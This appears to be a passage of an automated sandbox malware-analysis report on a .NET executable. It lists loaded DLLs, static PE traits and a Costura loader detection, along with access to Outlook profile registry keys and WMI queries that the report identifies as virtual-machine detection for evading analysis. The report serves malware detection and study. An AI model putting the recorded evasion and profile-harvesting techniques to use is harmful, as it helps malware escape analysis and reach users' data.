Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: yv7QsAR49V.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: yv7QsAR49V.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: yv7QsAR49V.exe

Static file information: File size 3746816 > 1048576

Source: yv7QsAR49V.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x391600

Source: yv7QsAR49V.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: /_/src/ICSharpCode.SharpZipLib/obj/Release/netstandard2.0/ICSharpCode.SharpZipLib.pdb source: yv7QsAR49V.exe, 00000000.00000002.2623326463.0000024A5E3B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura.newtonsoft.json.bson.pdb.compressed\|\|\|Newtonsoft.Json.Bson.pdb\|8D66819B2D5D4D2CFADB7660B1869A81C5DB7E9F\|26968 source: yv7QsAR49V.exe
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed/icsharpcode.sharpziplib]costura.icsharpcode.sharpziplib.dll.compressed]costura.icsharpcode.sharpziplib.pdb.compressed;microsoft.bcl.asyncinterfacesicostura.microsoft.bcl.asyncinterfaces.dll.compressed5microsoft.bcl.timeproviderccostura.microsoft.bcl.timeprovider.dll.compressed)newtonsoft.json.bsonWcostura.newtonsoft.json.bson.dll.compressedWcostura.newtonsoft.json.bson.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: /_/src/ICSharpCode.SharpZipLib/obj/Release/netstandard2.0/ICSharpCode.SharpZipLib.pdbSHA2567 source: yv7QsAR49V.exe, 00000000.00000002.2623326463.0000024A5E3B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr
Source:	Binary string: costura.costura.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: costura.wpf.ui.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: !costura.polly.core.pdb.compressed source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.icsharpcode.sharpziplib.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: polly9costura.polly.dll.compressed9costura.polly.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: polly.coreCcostura.polly.core.dll.compressedCcostura.polly.core.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: +costura.newtonsoft.json.bson.pdb.compressed source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.newtonsoft.json.bson.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: costura.wpf.ui.pdb.compressed\|\|\|Wpf.Ui.pdb\|299223DFCADFE8FD464F218CE110C10266AB22B0\|139288 source: yv7QsAR49V.exe
Source:	Binary string: .costura.icsharpcode.sharpziplib.pdb.compressed source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: /_/artifacts/obj/System.Text.Json/Release/net462/System.Text.Json.pdb source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.polly.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: /_/artifacts/obj/System.Text.Json/Release/net462/System.Text.Json.pdbSHA256 source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: yv7QsAR49V.exe
Source:	Binary string: costura.polly.pdb.compressed\|\|\|Polly.pdb\|6E4429D15FBCD96C44E391E109CB500EC2508333\|83400 source: yv7QsAR49V.exe
Source:	Binary string: costura.polly.core.pdb.compressed\|\|\|Polly.Core.pdb\|C1D3F2BA348EA2F6635B8F5961AD127E831487C6\|66148 source: yv7QsAR49V.exe
Source:	Binary string: costura.icsharpcode.sharpziplib.pdb.compressed\|\|\|ICSharpCode.SharpZipLib.pdb\|E1FCA83029D1440F54FB3747B240365A6DF0A598\|121652 source: yv7QsAR49V.exe
Source:	Binary string: costura.polly.core.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: wpf.ui;costura.wpf.ui.dll.compressed;costura.wpf.ui.pdb.compressed9 source: yv7QsAR49V.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: yv7QsAR49V.exe, AssemblyLoader.cs	.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])
Source: 0.2.yv7QsAR49V.exe.24a55aa7620.2.raw.unpack, ReflectionMemberAccessor.cs	.Net Code: CreateParameterlessConstructor
Source: 0.2.yv7QsAR49V.exe.24a55771460.1.raw.unpack, DynamicUtils.cs	.Net Code: CreateSharpArgumentInfoArray
Source: 0.2.yv7QsAR49V.exe.24a55771460.1.raw.unpack, LateBoundReflectionDelegateFactory.cs	.Net Code: CreateDefaultConstructor
Source: 0.2.yv7QsAR49V.exe.24a5e9f0000.8.raw.unpack, ReflectionMemberAccessor.cs	.Net Code: CreateParameterlessConstructor

Yara detected Costura Assembly Loader

Source: Yara match	File source: yv7QsAR49V.exe, type: SAMPLE
Source: Yara match	File source: 0.0.yv7QsAR49V.exe.24a436a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yv7QsAR49V.exe PID: 7052, type: MEMORYSTR

Source: yv7QsAR49V.exe

Static PE information: 0xBC98A971 [Mon Apr 7 18:37:37 2070 UTC]

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
